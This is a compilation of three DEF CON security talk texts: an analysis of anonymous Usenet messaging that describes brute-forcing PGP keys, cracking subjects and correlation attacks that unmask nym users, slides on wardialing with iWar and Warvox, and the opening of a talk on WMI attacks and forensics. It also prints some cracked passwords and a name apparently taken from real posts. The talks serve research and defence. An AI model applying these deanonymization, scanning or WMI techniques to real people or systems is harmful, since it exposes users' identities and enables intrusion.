find that that person also messages another KeyID. We can start making inferences across multiple types of metadata. 41 Now I mentioned that I separated the messages that were sent to a single public key from the ones sent to multiple. If a message was sent to a single key, we don’t know too much about it, especially because usually they throw the key ID, so you can’t tell what public key it was encrypted to. But if a message is sent to more than one public key ID, then… 42 You can draw communication graphs. Now it’s not a strict communication graph in the sense that a message was sent from Alice to Bob, technically it’s that Alice and Bob both received the same message. But in some, if not most, situations, people include themselves on messages they send… so they can read their own sent mail. 43 So a quick legend to these graphs, if a node is green, that means I was able to find the public key on the a keyserver. If the node is a circle, that means that key received messages individually. And the size of the circle, and the width of the line, means how many messages they received. So we have this very nice symmetrical 5-person graph here. 44 And then we’ve got these much larger communication networks here. 45 And then we’ve got this huge spiderweb of messages. 46 And we’ve got a couple of interesting graphs with central communication points. 47 And then we’ve got a couple of more interesting networks. And I think these are interesting because they imply that not everybody knows everybody else. This graph and the next one really may be a model of the actual Internet where people will email other people and in a complex, interconnected, but not fully connected way. This is a fairly low-volume network 48 While this one has quite a few higher-volume folks participating. 49 And then here’s the rest of them the simpler, 2-person communications. 50 So I was working on the communication graphs after all the PRISM stuff came out, and I was feeling distinctly uncomfortable imagining that this is what the NSA is probably doing to me and my friends. But the show must go on, so let’s talk about brute forcing ciphertext. Now if you’ll recall this graph, you saw that packet type ‘9’ was by far the most common packet type found – over 700,000 of them. Now this packet type is interesting so let’s dive into a little bit. 51 This packet is the actual ciphertext of the message. It is only, the encrypted data. It doesn’t say what algorithm it is, and it doesn’t explain how to get the key. 52 The key, is in another packet. It’s in packet type 1 (for public keys) or 3 (for passphrases). 53 But if you’ll recall from that graph, there aren’t any packets that precede packet type 9. We’ve got a disconnect from what the spec says, and the data we see. 54 Well if we keep reading, we’ll find this gem. “the IDEA algorithm is used with the session key calculated as the MD5 hash of the passphrase” 55 Yea. The MD5 of the password. This is absolutely legacy, and we’ve had better ways of doing this in OpenPGP since the late 90s. So while in the very beginning of AAM, this might have been excusable, the fact that my dataset was from 2003 onwards makes this a pretty horrible situation. So we know how to MD5s really, really fast. But that’s only half of this. We have to take the output and use it in an IDEA decryption. And then we have to detect if what we decrypted to was an actual plaintext, or just random. And while you can run randomness tests – they’re slow, and we’re brute forcing here – we want to go as fast as possible. So while I spent a lot of time at this point, wrote a lot of code and did a lot of optimizations, it doesn’t play very well into the slides, so I’ll just say that I wrote a lot of CUDA-powered code and brute forced these on GPUs for many months. And one of the first results I got, actually a few dozen of these messages, was 56 This did not make me feel terribly good about myself. But I persevered. 57 58 More encrypted messages. Recursively encrypted PGP messages. 59 In fact, here’s a breakdown of how many recursions I hit. I got about 10,000 decryptions into a public key message, and another 2200 into another password- protected PGP message. I was able to take 49 messages two layers deeper, and 5 messages 4 layers deep. Now, for the number of messages I was trying to brute force, these numbers may not seem very impressive. While I certainly am not the best password cracker here at Defcon, I think it’s worth bearing in mind that I am not trying to crack passwords, I’m trying to crack encryption keys used by some of the most paranoid people on the Internet. So I’m sure people can do better, but I don’t feel too bad about these results. But I haven’t explained why there are so many recursively encrypted messages. 60 And to explain that I have to talk about Remailers. So how many have heard of Mixmaster and Mixminion. Okay a good number of you. Well these tools have been dubbed Type II and Type III remailers. Which means there must be a Type I remailer somewhere. Well, Type I remailers are basically dead, but their protocol lives on in Mixmaster. 61 And boy, what a protocol. This is the manual of how to use most, but not even all, of the options supported by Type I remailers. 62 Some of the Type I directives are on the left. Now, what’s the difference between Remail-To, Remix-To, Anon-To, and Encrypt-To? I sure as heck don’t remember, and I’ve been studying this for a while. And to use a Type-I, you have to type each of these options out, yourself. There’s usually no GUI here. I had talked in the beginning about Type I nymservs? Well, Type I nymservs are the main recipient of these directives. You would string together a mix network chain of directives, encrypted to different nodes, and that would be your reply block. When someone emails your nym, the nymserv would basically execute your reply block, sending the message off through each of the steps, ultimately coming out to either your real email address, or a Usenet group like AAM. We’re still seeing these messages posted. But there are only 2 Type I Nymservs operating. One is Zax, of course, the other is paranoici. Paranoici is run by a group of Italian Hackers in Milan, they also run Autistici, Inventati – which you can think of as an Italian version of RiseUp. 63 So, in conclusion what are those nested PGP messages? They’re Type I nymserver messages, where the keyID is the ultimate nym owner. If I don’t have a keyid, there’s another layer of symmetric encryption I didn’t crack. When you download Type I nymserver messages, you know all the passwords, peel them off one by one, and then finally use your private key. This is all the recipients with >5 messages. Pretty top heavy towards just a few nyms. 64 So Communication Graphs and brute forcing is really just the first, quarter, I would say, of the analysis I did on AAM. A majority of my time was spent doing Correlation. Even if I don’t know who a message is to, or what it says, it’s valuable to know that it’s to the same person as another message, or was sent by the same sender. 65 And why is that valuable? Well, let’s go back to this slide. You can’t tell if someone has even received a message in a shared mailbox. But if I can correlate one message with another, 66 Then I can start determining that some unknown person _has_ received a message. And once I know these two message are related, well I can pay attention to the timestamp and the length. This goes even further, 67 because people tend to respond to messages they receive. And since I know If someone has _sent_ a message, it might be that they are replying to a message they just received. So let’s talk a lot about correlation, and more analysis on what’s in AAM. 68 So first off, it’s obvious that you can correlate messages that use a single, constant subject. But there are a lot of messages like these! Nearly half of all the messages posted to AAM! They tend to be older, and have tapered off more recently. Which makes sense. 69 And if you’ve looked at AAM, what you’ve probably seen is the random Hexadecimal subjects. Those look random. Let’s correlate them. So there are two algorithms to generate these subjects. Esubs, or Encrypted Subjects, and Hsubs, or Hashed Subjects. And the point of these is to quickly identify which messages are for you, and which you should ignore. This saves you an expensive public key operation. Now personally, I think we’re at the point we could probably cut this step out, but nonetheless, it’s there. So esubs have two secrets – a subject, and a password. Hsubs have a single secret, a password. If you want to brute force these, it’s considerably more difficult to brute force the esubs – and I ran out of time. Now you’d think that esubs must be newer, but actually it’s the hsubs. 70 Hsubs were created by Zax actually, and as his services are used more and more, they make up an increasing percentage of the subjects. Now, hsubs have a random piece in them that you can think of as an Initialization Vector, or as a salt. While I could try to shoe-horn these into the existing SHA256 password crackers out there, it’d be really painful, because hsubs will truncate the output to match the length of esubs. So I had to write my own GPU cracker, again. 71 And I cracked about 3,500 hsubs. Better than the percentage of messages I brute forced, but again, not a great percentage. But keep in mind these are passwords of the most paranoid people on the Internet. I found an interesting set of messages with the hsub DANGER WILL ROBINSON, which was used by some, but of all, of the messages to a couple of particular KeyIDs. I cracked all the hsubs of another Key ID, with the two passwords testicular and panties. If you don’t know what schmegma is, don’t urban dictionary it. 72 So if HSUBs and ESUBs are used to let a nym own identify their messages, can we do something similar? Let’s say we want to target the nym Bob. Well, what we can do it send a particularly large message to Bob, full of nonsense. And then we wait for a large message to pop out into AAM. Zax’s nymserv is instantaneous, so this size- based correlation is easy. Type I nymservs are not necessarily instantaneous, so they’re a little more difficult, but it’s not _too_ difficult. We can get a very good idea by keeping careful track of the size and maybe doing it a couple times. And this works, easily and efficiently. And what we get is a specific message we know is to a particular nym, that we can then target for hsub cracking. 73 So I’m not done. But unlike everything I’ve presented before, what I’m going to talk about now is probability-based attacks. That is, I come up with a hypothesis, that I can correlate messages with a probability better than random if I look at property X. Whatever it is. Well, if I don’t have a control or test messages, I can’t tell if that hypothesis worked, right? Well, I don’t have controls. So what I’m doing is coming up with a hypothesis, running it across the dataset, and then looking at the clusters of messages that come out. And if I can figure out something _else_ that correlates them, I call it a success. Like say – If a message header has a value of X – I think that’s a unique sender. Only one person is sending those messages. So I run that analysis, and I get clusters of messages encrypted to a single public key. Well, if there was no correlation, I wouldn’t get such nicely segmented public keys, would I? It would be a random distribution of the all the public keys in the dataset. And even though I could have found that cluster by just looking at the public key ids – this data implies that I could use that trick, that hypothesis, to find clusters of data when there _is_ no other distinguishing characteristic. So that’s how I try and preserve some semblance of the scientific method, while not actually having controls. 74 So my first example was message headers, and that’s a big one. Let’s look at these. 75 There are a few headers that are in nearly every message, but a long tail of headers that in only a few. 76 But those mostly-unique message headers are not necessarily the goldmine you might think they are. And that’s because headers can be added by the client, by the exit remailer, by the mail2news gateway, or by the Usenet peer. 77 So to really go after the distinguishing headers, that is the headers added by the client – I have to subtract out the headers that were added by all the other parts of the path. 78 And here are some great examples of headers specified by the client. 79 These strange headers all formed a distinct clump of messages, with the unique subject “Weed Will Save The Planet”. An easy example of how the idea of unique message headers can correlate messages. 80 X-No-Archive – this means, don’t save it in Usenet. It’s a client request that most usenet servers will obey. It’s also not the word on the screen. This is a misspelling of the header. And there is one person, at least I’m claiming one person, who has messed this up, and completely distinguishes their messages. All 17,300 of them. ~17,300 messages with this header Every one of them w/ subject of ‘forforums’ 81 So this is what you want, right? No. Capitalization matters, and this is not the correct capitalization. What’s interesting about this one is that it shows up on several long running threads on AAM, composing nearly 28,000 messages. Now initially, I thought each of these threads was relatively independent from each other – but after finding this bit of information – I’m starting to seriously doubt that. 82 This one isn’t right either. 1500 messages posted with this header Including test messages posted with someone’s real name 83 This is the correct version, and about 135,000 messages had it, or a little more than 10%. Which makes it distinguishing in and of itself. 84 So how about Encrypt-Subject? So Encrypt-Subject is an directive for Type I remailers that should be processed by the remailer – it should never make it’s way into Usenet. This is a bug, this is a client messing things up. And I can’t blame them, because Type I is so horribly difficult. Over 10000 messages like this. And when you reuse the subject, like these, you make messages without Encrypt-Subject stand out 85 Or even worse, mess up once, and then figure it out and reuse it… I can identify 52 esub messages that were otherwise secure because of subject/password reuse 86 And then there’s Encrypt-Key. Another header that should never make it’s way into Usenet, but does because Type I remailers are so hard to use. There are over 10,000 of them. 87 Let’s look at another header. Newsgroups. Just list mailing lists, you can post a message to more than one newsgroup. But if you do, you’re wildly in the minority, and that segments you. 88 Like this newsgroup. There are 34 messages posted with this newsgroup, and than you so much comcast for making your users extremely distinguishable. 34 messages every one of them: subject: mlw0lj2b9HBP7EURCn0PdCvyyatVk8i Adam S. Toline uniquehsig: 8, 40 40 User-Agent: Xnews/03.04.11 89 Well what about this value. AAM with 4 commas at the end. I thought this was a correlation attack – but after tracking it down, it was actually caused by a bug in ‘remailer.org.uk’ for a week in January ’06. Random trivia I pulled out of this dataset. 1/21 - 1/29 2006 90 How about this one, with duplicated newsgroups. These were sent through a large variety of remailers and have no obvious correlation besides this value, and that they have english subjects. So the English subjects was the control I used to confirm that using a unique newsgroup is a bad idea. Lot of - ATTN T-Boy - Pariser Wasser - Fresh fish from China All of these have these two newsgroups, sent through many different remailers: - melontraffickers, frell, cypherpunks.to, dizum, rebleep, tatooine, paranoici, firenze 91 Humans are creatures of habit, and as flaky as remailers have been, a lot of people find a configuration that works for them, and then they stick with it. Well, if I partition people by the remailer and the newsgateway they use – that’s what the colored squares are – what was previously an “anonymous” discussion thread suddenly makes it very easy to pick out who is saying what, and if they’re arguing with or supporting themselves. 92 And if I add in the header signature at the far right, it’s even easier! 93 And then here’s a really interesting pattern I observed. There are a host of messages who have subjects with a 1 or 2 in them. Like soggy / soggy2. Well I looked at those, and found they were being posted together, really close together. And then I realized – one of the options in Type I remailers is to duplicate a message for redundancy. Send the same message down two different remailer chains, just in case one becomes unavailable. And while this gains you some measure of availability – it’s also distinguishing. You could target a nym, like I described earlier, with a huge message – and if you see two huge messages appear, you know that that nym’s reply block duplicates messages. Look for all possible duplicate messages, and you’ve got a candidate list of messages to that nym – even if you’re unsuccessful doing an hsub or esub crack. 94 And a similar pattern I saw was these. Look at each pair of messages with the slightly different backgrounds. The second message comes out of dizum about 5-6 hours later from the one that comes from panta-rhei. I don’t know what this means, but it did stand out and is distinguishing. Subject: “Weed will save the planet” Also, messages from frell were mixed in, with no obvious correlation to other messages 95 So there were a number of other hypotheses I tried that did not turn up interesting data, and there are more queries that could be run across this dataset. But I need to start wrapping up. It all comes down to Metadata. 96 What we saw is that AAM had the obvious mistakes we’d expect. And it also suffers a bit because it hasn’t taken into account the lessons we’ve learned since it was developed. But I do think there’s some traffic analysis lessons we haven’t codified as best practice, that we probably should. 97 So what does the future hold for AAM? Well, the security of a well-posted message is good. 98 With a lot of caveats. If you use uncrackable passphrases, only use servers that output key stretched packets, post through remailers, with no distinguishing characteristics, and you’re willing to be a very small anonymity set. I don’t know how many people are using AAM, but it’s not a lot. What that means is if the government asked for a list of everyone who uses AAM – they would get a very short list of names. Probably small enough to dig pretty deeply into each of their lives. 99 And AAM crucially relies on Remailers and Newsgateways. And these services are dying. Remember that 2 people, Zax and Dizum, post more than 98% of the traffic to AAM. AAM is also text-based – very limited bandwidth. 100 And the nymservs themselves are pretty crappy, architecturally speaking. We give single-hop proxies like VPNs and UltraSurf a lot of shit because their Architecture is not as strong as Tor’s. But nymservs are in that exact same category of “Trust this guy not to roll over on you” I feel compelled to mention that the alternative is to use Tor, which you trust, to send email via throwaway accounts on a service you do not trust. While this is a practice everyone in this room has used or at least thought of – it’s still a really shitty architecture. 101 Now the good news is we have something better. We have a very strongly architected Nymserv. Pynchon Gate was designed by Len Sassaman, Bram Cohen, and Nick Mathewson, and it uses Private Information Retrieval instead of a Shared Mailbox. It exposes less metadata, and resists flooding or size-based correlation attacks. However, it’s not built. It’s been started, but it’s got a very long way to go. It also requires a remailer network to operate. 102 And we don’t really have a remailer network. What we’ve got is Mixmaster and Mixminion. Now Mixminion is a bit better than Mixmaster, which doesn’t have any Link Encryption, has known attacks, uses old crypto with no chance of upgrading. 103 But both of these services suffer from the fact that we don’t have a good solution to remailer spam or abuse, we don’t have good documentation about them, and they both have horrible network diversity. 104 So if we like Pynchon Gate, the path forward also involves fixing Mixminion. And mixminion needs love. Mixminion is currently unmaintained, but we have a TODO list that includes the items I’ve got here. Some of them are extremely complicated, like moving to a new packet format. Others are relatively straightforward, like improving the TLS settings, and others give you the opportunity to practice writing crypto, designing a distributed trust directory, or writing a complete standalone pinger in any language or style you want. So if you’re interested, there’s a lot of pretty cool opportunities here. 105 But what I keep coming back to is the fact that we have no anonymity network that is high bandwidth, high latency. We have no anonymity network that would have let someone securely share the Collateral Murder video, without Wikileaks being their proxy. You can’t take a video of corruption or police brutality, and post it anonymously. Now I hear you arguing with me in your heads: Use Tor and upload it to Youtube. No, youtube will take it down. Use Tor and upload it to MEGA, or some site that will fight fradulent takedown notices. Okay, but now you’re relying on the good graces of some third party. A third party that is known to host the video, and can be sued. Wikileaks was the last organization that was willing to take on that legal fight, and now they are no longer in the business of hosting content for normal people. And you can say Hidden Service and I’ll point to size-based traffic analysis and confirmation attacks that come with a low-latency network, never mind Ralf-Phillip Weinmen’s amazing work the other month that really killed Hidden Services. We can go on and on like this, but I hope you’ll at least concede the point that what you are coming up with are work-arounds for a problem that we lack a good solution to. 106 So if I’ve been able to entertain you, I am glad, if I’ve been able to inspire you to work on anonymity tools, I am overjoyed. And if you want a place to start, I will point you here. Thank You. 107 108 109 110 111 112 113 114 115 116
pdf
AAPL – Automated Analog Telephone Logging. Using modern techniques and software to map the PSTN. - Da Beave & Jfalcon - Da Beave •Work in the network security field @ Softwink, Inc. •Author “Asterisk Hacking” and “Threat Analysis 2008” – Syngress Press •Hacker/Programmer •Author of iWar and various other “hacking” tools ( X.25 tools, etc) •Founder of 'Telephreak' (loose knit Asterisk/VoIP hackers). •Check out www.telephreak.org (The BBS!) •Founder of “The Deathrow OpenVMS cluster” JFalcon •First Federally Convicted Hacker in Alaska (1994) • •Professional consultant and hired gun to Fortune 500 companies • •Experimenter, Hacker and Inventor • • Brief history.... Yes, we know who we're talking to...... “Hand scanning” •Very slow.... •Pick up the phone dial and listen. •Can be accurate, but that largely depends on the “hand scanners” knowledge base. •Still a popular pass time for phreaks. •(See http://www.handscan.net) Automated Wardialing (Old School) •1980's ..... Made you this guy.... Historical Problems with Automatic Wardialing •Typically relied on standard PSTN/POTS connections. Telcos monitor for over utilization of their service and “flag” the line for further investigation. •In some cases they'd shut down your POTS line leaving you to explain what you where doing. •Modems are lame. Scan for carriers (data) or tones/fax. Multiple scans. You are limited by your hardware. •Later generation CTI hardware? Cost prohibited then, now obsolete (ISA boards!) and need PRI. •Sure – things like randomly dialing/random timing help, but still you end up missing a lot. Still the 80' but enter the AppleCat Could generate and detect tones. Good for boxing and for this talk War dialing. Software like Cat's Meow/Phantom Access. Expensive and proprietary API (Later Firmware emulated Hayes command set. We'll talk about his later... 2002'ish. We can do it better. Sorta.... Enter VoIP: Less problems/different headaches. (The good) •The world is your oyster. Cheap calls even if they supervise. If they don't, free or next to nothing. •No longer bound to physical POTS lines. •Less monitoring (in most cases). •More calls and more “lines”. •Still interesting things out there! (Routers, X.25 networks (you read that right), SCADA systems, Old school BBS's). Yup. Enter VoIP: Less problems/different headaches. (The bad) •Still bound to a crappy modem. •Don't care how good it is......Do you really want to sit and listen to a modem? •Not everything interesting has a carrier or tone. •What software will you use? •Sure, THC-SCAN and TONELOC rock... but what if you want to store to a database? Or lookup data on the tubes? … and now a side note ... •2004'ish I was doing a pentest which I needed some war dialing foo. •Most *nix based “War dialers” blow. •Didn't want to load a DOS emulator to run TONELOC. •I'm certainly not going to “buy” commerical software. •Besides, it's a war dialer. It'll only take me a week or so to complete.. Right? iWar (Intelligent Wardialer - 2005) •*nix based (OpenBSD/Linux/etc...) •Written in C/ncurses frontend •Tone location (like Toneloc) •No limitation on the number of devices. •MySQL/PostgreSQL/ASCII output support •All your standard 80's bells/whistles. •FTW! Errrr.. not quite... ATA+Modem = Your technique is weaksauce. This is the way we roll...errr.. rolled... •An Old School wardialer with some chest hair! T1/DS1 + Asterisk + VoIP == 48+ line modem bank in your face. •Standard Asterisk –> Internet setup. T100P/Asterisk supplies the “telco” to the AS5200 (24 channels). •*2 T100P == 48 channels. •T100P connects via T1 loopback cable to AS5200. AS5200 is “fooled” into have PRI. •iWar connects to AS5200 via TCP/IP. Modems are on different ports. T1/DS1 + Asterisk + VoIP == 48 line modem bank in your face (The good) •48+ modems in one box. Shotgun methodology! •No crazy cabling! •iWar get TCP/IP functionality! •The fact that we're using a AS5200 isn't important. •When ISP's fail your modem capacity goes up ($20.00 bucks for a AS5200). •iWar uses local & remote modems all the same! Doesn't matter if the modem bank is local or across the Internet in Russia! T1/DS1 + Asterisk + VoIP == 48 line modem bank in your face (The bad) •Limited by bandwidth for VoIP •– but you always will be. • • •YOU'RE STILL USING F*CKING MODEMS! •JUST MORE OF THEM! But maybe there's a smarter way. (what the Applecat did right) •It allowed you to scan for modems and tones at the same time. •It had rudimentary voice detection and could detect clicks, beeps and buzzes. •One NPA scan and you were fairly done •(no rinse and repeat). VoIP + DSP == PIMP •VoIP + DSP isn't a new idea. We've seen lots of semi-working and poor implementation. •For example, trying to tie VoIP raw audio with software based modem. Cool idea, more than modems out there. •iWar has had IAX2 support, but it's been weak (no real DSP). •Then we ran into HD Moore (of Metasploit fame) and his Warvox project...... VoIP + DSP == PIMP •Warvox uses a dialer (IAX2 protocol) to dial/record calls. •A Ruby backend does the analysis (to look for tones/fax/modem/etc). •Works as part of the Metasploit frame work. •Working with HD Moore, iWar does the same thing – Just in C, and without the really nice GUI frontend/graphics. (iWar is curses, remember?) Warvox Screen Shot (job) Warvox Screen Shot (analysis) VoIP + DSP == PIMP •With iWar we decided to use a “signature” based system. •Basically a configuration file to tell iWar “what to listen for”. •Uses KissFFT (Fast Fourier Transform) – like Warvox, for back end signal processing. •Since both write to “raw” files, it's easy to move iWar generated audio files to Warvox for reporting. iWar Screen shot iWar/Warvox. •You no longer need hardware! •All VoIP/DSP work is now done in software! •Detect modems, fax, clicks, tones... whatever...... iWar: Where do we go now? •Limited to IAX2. •Adding SIP support for both iWar and Warvox. Shouldnt be that bad. (PJSIP). Just need to dedicate the time. •Backspoofing? iWar can do CNAM lookups via the Internet, which varies in accuracy. True backspoofing for real CNAM lookups. •Speech to Text technology. Lumenvox, for example (“Hello?”... “Domino's Pizza”). HD has played with this.... easy enough... •Software based “modem”.. to connect and banner analysis.... Improving Your Hit Ratio •Backspoofing/CNAM dips/NANPA lookups: •Know before you dial. •Business/Residential/Government. •Able to identify Telco owned lines and Cellular carriers. Improving Your Hit Ratio •Better Tools = Better Results: •VoIP carriers allow multiple outbound trunks. •iWar/Warvox – One Scan == Multiple Results •Speech to Text processing way better now… •Database Backend = Ablility to “Data mine” Improving Your Hit Ratio •Better Hardware: •Just carriers? Setup a modem bank! •Asterisk + chan_mobile: Use those free nights and weekends! (Bluetooth <-> DAHDI) •Any FPGA/Embedded Hackers out there? Massive DSP processing power now… Highway to hell passes through Capital Hill. •Legislation against “CID spoofing” ongoing in various states and federal levels (iWar/Warvox supported). •Single party consent and recording. iWar/Warvox “record” the call then analyze the audio. Violation? •“Do Not Call” list / VSP’s terminating service – Go International! (Globalization) • CVS iWar now.... (a shameless plug) MySQL/PostgreSQL CNAM lookups IAX2 support (SIP soon?) TCP/IP remote mode (w & w/o authentication) HTTP based logging (log numbers over the tubes) Banner detection Save state/load state Random/Seq. Dialing. Random Timing between dials Traditional “tone” detection (serial/TCP)W/ serial true modem control (CTS/RTS) DSP/IAX2 with signature based configuration. Just to name a few.... Getting the WaR3Z Warvox: http://www.warvox.com iWar: http://www.softwink.com/iwar (Probably best to use CVS code. CVS instructions are on the site) Video: What's still out there! (Where's the popcorn) Presentation location: http://www.telephreak.org/DC17/defcon.pdf Presentation movie location: http://www.telephreak.org/DC17/defcon.mov
pdf
1 Copyright © 2015, FireEye, Inc. All rights reserved. Copyright © 2015, FireEye, Inc. All rights reserved. WhyMI so Sexy? WMI Attacks, Real-Time Defense, and Advanced Forensic Analysis Willi Ballenthin, Matt Graeber, Claudiu Teodorescu DEF CON 23 2 Copyright © 2015, FireEye, Inc. All rights reserved. Copyright © 2015, FireEye, Inc. All rights reserved. This talk is dedicated to hunting down APT 29 3 Copyright © 2015, FireEye, Inc. All rights reserved. So you’ve been owned with WMI… Attackers use WMI - reality Prevention, detection, remediation guidance - lacking Forensic capability - non-existent Awareness of offensive capabilities – lacking Awareness of defensive capabilities – practically non-existent 4 Copyright © 2015, FireEye, Inc. All rights reserved. Copyright © 2015, FireEye, Inc. All rights reserved. Introduction Willi, Matt, and Claudiu 5 Copyright © 2015, FireEye, Inc. All rights reserved. About the Speakers Willi Ballenthin - @williballenthin Reverse Engineer @ FireEye Labs Advanced Reverse Engineering (FLARE) Team Forensic Analyst Researcher Instructor 6 Copyright © 2015, FireEye, Inc. All rights reserved. About the Speakers Matt Graeber - @mattifestation Reverse Engineer @ FireEye Labs Advanced Reverse Engineering (FLARE) Team Speaker – Black Hat, MS Blue Hat, BSides LV and Augusta, DerbyCon Black Hat Trainer Microsoft MVP – PowerShell GitHub projects – PowerSploit, PowerShellArsenal, Position Independent Shellcode in C, etc. “Living off the Land” Proponent Perpetual n00b 7 Copyright © 2015, FireEye, Inc. All rights reserved. About the Speakers Claudiu “to the rescue” Teodorescu - @cteo13 Reverse Engineer @ FireEye Labs Advanced Reverse Engineering (FLARE) Team Forensic researcher Crypto analyst GitHub projects – WMIParser Soccer player 8 Copyright © 2015, FireEye, Inc. All rights reserved. Outline – Session #1 Background, Motivations, Attack Examples Abridged History of WMI Malware WMI Architecture WMI Query Language (WQL) WMI Eventing Remote WMI WMI Attack Lifecycle Providers 9 Copyright © 2015, FireEye, Inc. All rights reserved. Outline – Session #2 File Format, Investigations, Real-Time Defense, Mitigations WMI Forensics Managed Object Format (MOF) Representation of MOF Primitives Investigation Methodology - A Mock Investigation WMI Attack Detection WMI Attack Mitigations 10 Copyright © 2015, FireEye, Inc. All rights reserved. Copyright © 2015, FireEye, Inc. All rights reserved. WMI Malware History 11 Copyright © 2015, FireEye, Inc. All rights reserved. ~2010 - Stuxnet Exploited MS10-061 – Windows Printer Spooler Exploited an arbitrary file write vulnerability WMI provided a generic means of turning a file write to SYSTEM code execution! The attackers dropped a MOF file to gain SYSTEM-level execution. http://poppopret.blogspot.com/2011/09/playing-with-mof-files-on-windows-for.html 12 Copyright © 2015, FireEye, Inc. All rights reserved. 2010 - Ghost Utilized permanent WMI event subscriptions to: - Monitor changes to “Recent” folder - Compressed and uploaded all new documents - Activates an ActiveX control that uses IE as a C2 channel http://la.trendmicro.com/media/misc/understanding-wmi-malware-research- paper-en.pdf 13 Copyright © 2015, FireEye, Inc. All rights reserved. 2014 – WMI Shell (Andrei Dumitrescu) Uses WMI as a C2 channel WMI namespaces used to store data http://2014.hackitoergosum.org/slides/day1_WMI_Shell_Andrei_Dumitrescu.pdf 14 Copyright © 2015, FireEye, Inc. All rights reserved. 2015 – APT 29 Heavy reliance upon WMI and PowerShell Custom WMI class creation WMI repository used to store payloads of arbitrary size Results of commands added to WMI object properties Thanks to our awesome Mandiant investigators for seeking this out, discovering it, and remediating! - Nick Carr, Matt Dunwoody, DJ Palombo, and Alec Randazzo Thanks to APT 29 for allowing us to further our investigative techniques! 15 Copyright © 2015, FireEye, Inc. All rights reserved. Copyright © 2015, FireEye, Inc. All rights reserved. WMI Basics Windows Management Instrumentation 16 Copyright © 2015, FireEye, Inc. All rights reserved. What is WMI? Windows Management Instrumentation Powerful local & remote system management infrastructure Present since Win98 and NT4 Can be used to: - Obtain system information • Registry • File system • Etc. - Execute commands - Subscribe to events Useful infrastructure for admins ∴ Useful infrastructure for attackers 17 Copyright © 2015, FireEye, Inc. All rights reserved. WMI Architecture WMI implements the CIM and WBEM standards to do the following: - Provide an object schema to describe “managed components” - Provide a means to populate objects – i.e. WMI providers - Store persistent objects – WMI/CIM repository - Query objects – WQL - Transmit object data – DCOM and WinRM - Perform actions on objects – class methods, events, etc. 18 Copyright © 2015, FireEye, Inc. All rights reserved. WMI Architecture 19 Copyright © 2015, FireEye, Inc. All rights reserved. Copyright © 2015, FireEye, Inc. All rights reserved. Interacting with WMI 20 Copyright © 2015, FireEye, Inc. All rights reserved. Utilities - PowerShell “Blue is the New Black” - @obscuresec PowerShell is awesome Need I say more? 21 Copyright © 2015, FireEye, Inc. All rights reserved. Utilities – wmic.exe Pentesters and attackers know about this Installed everywhere Gets most tasks done Has some limitations 22 Copyright © 2015, FireEye, Inc. All rights reserved. Utilities – Microsoft CIM Studio Free Very dated but still works Good for WMI discovery/research 23 Copyright © 2015, FireEye, Inc. All rights reserved. Utilities – Sapien WMI Explorer Commercial utility Great for WMI discovery/research Many additional features Huge improvement over CIM Studio 24 Copyright © 2015, FireEye, Inc. All rights reserved. Utilities – wbemtest.exe The WMI utility you never heard of GUI Very powerful Rarely a blacklisted application 25 Copyright © 2015, FireEye, Inc. All rights reserved. Utilities – winrm.exe Not a well known utility Can interface with WMI over WinRM Useful if PowerShell is not available winrm invoke Create wmicimv2/Win32_Process @{CommandLine="notepad.exe";CurrentDirectory="C:\"} winrm enumerate http://schemas.microsoft.com/wbem/wsman/1/wmi/root/cimv2/Win32_Process winrm get http://schemas.microsoft.com/wbem/wsman/1/wmi/root/cimv2/Win32_OperatingSystem 26 Copyright © 2015, FireEye, Inc. All rights reserved. Utilities Linux - wmic, wmis, wmis-pth (@passingthehash) - http://passing-the-hash.blogspot.com/2013/04/missing-pth-tools-writeup-wmic-wmis-curl.html Windows Script Host Languages - VBScript - JScript IWbem* COM API .NET System.Management classes 27 Copyright © 2015, FireEye, Inc. All rights reserved. Copyright © 2015, FireEye, Inc. All rights reserved. WMI Query Language (WQL) 28 Copyright © 2015, FireEye, Inc. All rights reserved. WMI Query Language (WQL) SQL-like query language used to - Filter WMI object instances - Register event trigger Three query classes: 1. Instance Queries 2. Event Queries 3. Meta Queries 29 Copyright © 2015, FireEye, Inc. All rights reserved. WMI Query Language (WQL) – Instance Queries Format: SELECT [Class property name|*] FROM [CLASS NAME] <WHERE [CONSTRAINT]> Example: SELECT * FROM Win32_Process WHERE Name LIKE "%chrome%" 30 Copyright © 2015, FireEye, Inc. All rights reserved. WMI Query Language (WQL) – Event Queries Format: SELECT [Class property name|*] FROM [INTRINSIC CLASS NAME] WITHIN [POLLING INTERVAL] <WHERE [CONSTRAINT]> SELECT [Class property name|*] FROM [EXTRINSIC CLASS NAME] <WHERE [CONSTRAINT]> Examples: SELECT * FROM __InstanceCreationEvent WITHIN 15 WHERE TargetInstance ISA 'Win32_LogonSession' AND TargetInstance.LogonType = 2 SELECT * FROM Win32_VolumeChangeEvent WHERE EventType = 2 SELECT * FROM RegistryKeyChangeEvent WHERE Hive='HKEY_LOCAL_MACHINE' AND KeyPath='SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run' 31 Copyright © 2015, FireEye, Inc. All rights reserved. WMI Query Language (WQL) – Meta Queries Format: SELECT [Class property name|*] FROM [Meta_Class|SYSTEM CLASS NAME] <WHERE [CONSTRAINT]> Example: SELECT * FROM Meta_Class WHERE __Class LIKE "Win32%“ SELECT Name FROM __NAMESPACE 32 Copyright © 2015, FireEye, Inc. All rights reserved. Copyright © 2015, FireEye, Inc. All rights reserved. WMI Eventing 33 Copyright © 2015, FireEye, Inc. All rights reserved. WMI Events WMI has the ability to trigger off nearly any conceivable event. - Great for attackers and defenders Three requirements 1. Filter – An action to trigger off of 2. Consumer – An action to take upon triggering the filter 3. Binding – Registers a FilterConsumer Local events run for the lifetime of the host process. Permanent WMI events are persistent and run as SYSTEM. 34 Copyright © 2015, FireEye, Inc. All rights reserved. WMI Event Types - Intrinsic Intrinsic events are system classes included in every namespace Attacker/defender can make a creative use of these Must be captured at a polling interval Possible to miss event firings __ClassCreationEvent __InstanceOperationEvent __InstanceCreationEvent __MethodInvocationEvent __InstanceModificationEvent __InstanceDeletionEvent __TimerEvent __NamespaceOperationEvent __NamespaceModificationEvent __NamespaceDeletionEvent __NamespaceCreationEvent __ClassOperationEvent __ClassDeletionEvent __ClassModificationEvent 35 Copyright © 2015, FireEye, Inc. All rights reserved. WMI Event Types - Extrinsic Extrinsic events are non-system classes that fire immediately No chance of missing these Generally don’t include as much information Notable extrinsic events: Consider the implications… ROOT\CIMV2:Win32_ComputerShutdownEvent ROOT\CIMV2:Win32_IP4RouteTableEvent ROOT\CIMV2:Win32_ProcessStartTrace ROOT\CIMV2:Win32_ModuleLoadTrace ROOT\CIMV2:Win32_ThreadStartTrace 